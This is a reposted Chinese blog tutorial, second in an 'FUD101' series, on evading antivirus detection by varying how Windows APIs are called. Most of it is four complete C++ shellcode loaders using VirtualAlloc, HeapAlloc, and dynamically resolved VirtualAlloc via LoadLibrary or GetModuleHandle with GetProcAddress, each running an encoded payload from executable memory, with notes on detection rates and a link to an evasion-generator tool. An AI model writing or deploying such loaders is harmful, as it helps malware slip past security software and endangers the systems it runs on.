执行方式免杀之调用 API(FUD101连载二)

执行方式免杀之调用 API(FUD101连载二)

来自公众号雷神众测
原文链接:https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652477998&idx=1&sn=21dd0456161ef1f38835b05e8da531e8&chksm=f258399dc52fb08beb906630b4591b12c0db7058ddadce894e9f78626e2bae45c5690a3150ee&mpshare=1&scene=23&srcid=0716Zs3iRO2cX2eqoIyM630L&sharer_sharetime=1594900135714&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
 

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]

工具界面如下:


 

效果如下:


注意:本章节中所有代码均为 C++,开发环境为 VS2019

在这一章节中,我们将学习几种常见的 API 及他们的调用方式。

首先需要了解几个名词:

API: 应用程序接口API为“‘电脑操作系统(Operating system)’或‘程序库’提供给应用程序调用使用的代码”。其主要目的是让应用程序开发人员得以调用一组例程功能,而无须考虑其底层的源代码为何、或理解其内部工作机制的细节。API本身是抽象的,它仅定义了一个接口,而不涉及应用程序在实际实现过程中的具体操作。(来自维基百科)

IAT: IAT的全称是Import Address Table。IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。(来自CSDN)

 

使用 PEview 可以看到一个程序的 IAT,杀毒软件在进行查杀时,IAT 也是查杀的一个重要依据。


No.1

VirtualAlloc

VirtualAlloc 主要用于申请一块内存,其官方定义如下:

LPVOID VirtualAlloc{
    LPVOID lpAddress, // 要分配的内存区域的地址
    DWORD dwSize, // 分配的大小
    DWORD flAllocationType, // 分配的类型
    DWORD flProtect // 该内存的初始保护属性

};

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

以下是网上最常见的一种代码:

# include <windows.h>  

# include <stdio.h>  

 

//打开Windows计算器

unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

void main(){

    char* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(p, shellcode, sizeof(shellcode));
    (*(void(*)())p)();

}

  

执行流程为首先用 VirtualAlloc 申请内存,memecpy 复制 shellcode 到这块内存中,最后执行。免杀效果一般(不考虑 shellcode 的影响),它的 IAT 如图:


VirtualAlloc 事实上被杀软重点监控了,我们就可以直接想到一个思路,使用其他的 API 代替 VirtualAlloc 。

 

No.2

替换 VirtualAlloc

有几个 API 可以替换 VirtualAlloc,下面一一列举。

HeapCreate/HeapAlloc

HeapCreate 官方定义:

HANDLE HeapCreate(
     DWORD  flOptions,    //堆分配标志
     SIZE_T dwInitialSize, //初始堆大小  
     SIZE_T dwMaximumSize  //最大堆大小

);

HeapAlloc 官方定义:

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
     HANDLE hHeap,      //处理私有堆块
     DWORD  dwFlags,    //堆分配控制标志
     SIZE_T dwBytes     //要分配的字节数

);

  

经过测试,这种方式比 VirtualAlloc 检出率还高……不过还是贴一下代码吧:

# include <windows.h>  

# include <stdio.h>  

 

void main(){

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";


    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(code), sizeof(code));

    char* BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(code));

    memcpy(BUFFER, code, sizeof(code));
    (*(void(*)())BUFFER)();

}

  

LoadLibrary/GetProcAddress

LoadLibrary 官方定义:

HMODULE LoadLibraryA(
     LPCSTR lpLibFileName   //文件名

);

GetProcAddress 官方定义:

FARPROC GetProcAddress(
     HMODULE hModule,     //DLL句柄
     LPCSTR  lpProcName   //函数名称

);

  

方法是:用 LoadLibrary 函数加载动态链接库到内存,用 GetProcAddress函数动态获得 DLL 函数的入口地址。当一个 DLL 文件用 LoadLibrary 显式加载后,在任何时刻均可以通过调用 FreeLibrary 函数显式地从内存中把它给卸载。这种方法比 VirtualAlloc 效果好一点。

# include <windows.h>  

# include <stdio.h>  

 

void main(){

    typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
    VirtualAllocB p = (VirtualAllocB)GetProcAddress(LoadLibrary("kernel32"), "VirtualAlloc");

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    char* a = (char*)(*p)(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(a, code, sizeof(code));

    (*(void(*)())a)();

}

  

GetModuleHandle/GetProcAddress

GetModuleHandle 官方定义:

HMODULE GetModuleHandleA(
     LPCSTR lpModuleName   //文件名

);

  

方法是:用 GetModuleHandle 函数加载动态链接库到内存,用 GetProcAddress函数动态获得 DLL 函数的入口地址。这种方法比 VirtualAlloc 效果好很多。

# include <windows.h>  

# include <stdio.h>  

void main(){  

    typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
    VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle("kernel32"), "VirtualAlloc");

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    char* a = (char*)(*p)(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(a, code, sizeof(code));

    (*(void(*)())a)();

}

  

以上简单介绍了几个 API 的调用方式,事实上,在实际测试时发现,使用 GetModuleHandle + GetProcAddress + 反沙箱代码,优化以后可以实现 FUD(全免杀) 的效果。

下一章节,我们将开始学习如何使用汇编语言执行 shellcode 。

posted @ 2020-07-16 21:47  Xor0ne  阅读(694)  评论(0)    收藏  举报